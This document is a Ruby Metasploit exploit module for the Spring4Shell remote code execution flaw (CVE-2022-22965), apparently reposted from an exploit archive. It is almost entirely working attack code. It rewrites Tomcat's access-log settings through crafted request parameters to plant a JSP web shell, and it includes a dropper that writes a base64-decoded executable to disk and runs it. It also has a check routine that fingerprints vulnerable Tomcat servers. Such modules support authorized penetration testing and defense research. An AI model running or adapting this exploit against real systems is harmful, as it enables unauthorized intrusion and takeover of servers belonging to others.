284 lines
8.3 KiB
Ruby
284 lines
8.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ManualRanking # It's going to manipulate the Class Loader
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
|
|
'Description' => %q{
|
|
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
|
|
and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
|
|
to remote code execution due to an unsafe data binding used to populate an object from request parameters
|
|
to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
|
|
org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
|
|
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
|
|
gain remote code execution.
|
|
},
|
|
'Author' => [
|
|
'vleminator <vleminator[at]gmail.com>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2022-22965'],
|
|
['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
|
|
['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
|
|
['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
|
|
],
|
|
'Platform' => %w[linux win],
|
|
'Payload' => {
|
|
'Space' => 5000,
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Java',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => %w[linux win]
|
|
},
|
|
],
|
|
[
|
|
'Linux',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[
|
|
'Windows',
|
|
{
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2022-03-31',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'AKA' => ['Spring4Shell', 'SpringShell'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8080),
|
|
OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
|
|
OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT'])
|
|
]
|
|
)
|
|
register_advanced_options [
|
|
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
|
]
|
|
end
|
|
|
|
def jsp_dropper(file, exe)
|
|
# The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
|
|
dropper = <<~EOS
|
|
<%@ page import=\"java.io.FileOutputStream\" %>
|
|
<%@ page import=\"java.util.Base64\" %>
|
|
<%@ page import=\"java.io.File\" %>
|
|
<%
|
|
FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
|
|
oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
|
|
oFile.flush();
|
|
oFile.close();
|
|
File f = new File(\"#{file}\");
|
|
f.setExecutable(true);
|
|
Runtime.getRuntime().exec(\"#{file}\");
|
|
%>
|
|
EOS
|
|
|
|
dropper
|
|
end
|
|
|
|
def dump_line(uri, cmd = '')
|
|
res = send_request_cgi({
|
|
'uri' => uri + cmd,
|
|
'version' => '1.1',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
res
|
|
end
|
|
|
|
def modify_class_loader(opts)
|
|
cl_prefix = 'class.module.classLoader'
|
|
|
|
res = send_request_cgi({
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
|
'version' => '1.1',
|
|
'method' => 'POST',
|
|
'headers' => {
|
|
'c1' => '<%', # %{c1}i replacement in payload
|
|
'c2' => '%>' # %{c2}i replacement in payload
|
|
},
|
|
'vars_post' => {
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
|
|
}
|
|
})
|
|
|
|
sleep(1)
|
|
|
|
res
|
|
end
|
|
|
|
def check_log_file
|
|
|
|
jsp_uri = normalize_uri(datastore['PAYLOAD_PATH'], @jsp_file)
|
|
|
|
print_status("#{peer} - Waiting for the server to flush the logfile")
|
|
sleep(5)
|
|
|
|
print_status("#{peer} - Executing JSP payload")
|
|
vprint_status(full_uri(jsp_uri))
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri("/#{@jsp_file}")
|
|
}, 5)
|
|
|
|
fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless res.code.to_i == 200
|
|
print_good("#{peer} - Log file flushed at #{jsp_uri}")
|
|
register_files_for_cleanup(@jsp_file)
|
|
end
|
|
|
|
# Fix the JSP payload to make it valid once is dropped
|
|
# to the log file
|
|
def fix(jsp)
|
|
output = ''
|
|
jsp.each_line do |l|
|
|
if l =~ /<%.*%>/
|
|
output << l
|
|
elsif l =~ /<%/
|
|
next
|
|
elsif l =~ /%>/
|
|
next
|
|
elsif l.chomp.empty?
|
|
next
|
|
else
|
|
output << "<% #{l.chomp} %>"
|
|
end
|
|
end
|
|
output
|
|
end
|
|
|
|
def create_jsp
|
|
if target['Arch'] == ARCH_JAVA
|
|
jsp = fix(payload.encoded)
|
|
else
|
|
payload_exe = generate_payload_exe
|
|
payload_file = rand_text_alphanumeric(rand(4..7))
|
|
payload_dir = datastore['WritableDir']
|
|
|
|
jsp = jsp_dropper(payload_dir + payload_file, payload_exe)
|
|
register_files_for_cleanup(payload_dir + payload_file)
|
|
end
|
|
|
|
jsp
|
|
end
|
|
|
|
def check
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
|
|
)
|
|
|
|
return CheckCode::Unknown('Web server seems unresponsive') unless res
|
|
|
|
if res.headers.key?('Server')
|
|
res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
|
|
else
|
|
res.body.match(%r{Apache\s(.*)/([\d|.]+)})
|
|
end
|
|
|
|
server = Regexp.last_match(1) || nil
|
|
version = Rex::Version.new(Regexp.last_match(2)) || nil
|
|
|
|
return Exploit::CheckCode::Safe('Application seems not be running under Tomcat') unless server && server.match(/Tomcat/)
|
|
|
|
vprint_status("Detected a #{server} #{version} running")
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
'data' => "class.module.classLoader.DefaultAssertionStatus=#{Rex::Text.rand_text_alpha_lower(4..6)}"
|
|
)
|
|
|
|
# setting the default assertion status to a valid status
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
'data' => 'class.module.classLoader.DefaultAssertionStatus=true'
|
|
)
|
|
return CheckCode::Safe unless res.code == 400
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
prefix_jsp = rand_text_alphanumeric(rand(3..5))
|
|
date_format = rand_text_numeric(rand(1..4))
|
|
@jsp_file = prefix_jsp + date_format + '.jsp'
|
|
|
|
# Prepare the JSP
|
|
print_status("#{peer} - Generating JSP...")
|
|
|
|
# rubocop:disable Style/FormatStringToken
|
|
jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
|
|
# rubocop:enable Style/FormatStringToken
|
|
|
|
# Modify the Class Loader
|
|
print_status("#{peer} - Modifying Class Loader...")
|
|
properties = {
|
|
payload: jsp,
|
|
directory: datastore['PAYLOAD_PATH'],
|
|
prefix: prefix_jsp,
|
|
suffix: '.jsp',
|
|
file_date_format: date_format
|
|
}
|
|
res = modify_class_loader(properties)
|
|
unless res
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
|
|
end
|
|
|
|
# No matter what happened, try to 'restore' the Class Loader
|
|
properties = {
|
|
payload: '',
|
|
directory: '',
|
|
prefix: '',
|
|
suffix: '',
|
|
file_date_format: ''
|
|
}
|
|
|
|
modify_class_loader(properties)
|
|
|
|
check_log_file
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|
|
|
|
# 0day.today [2022-03-31] #
|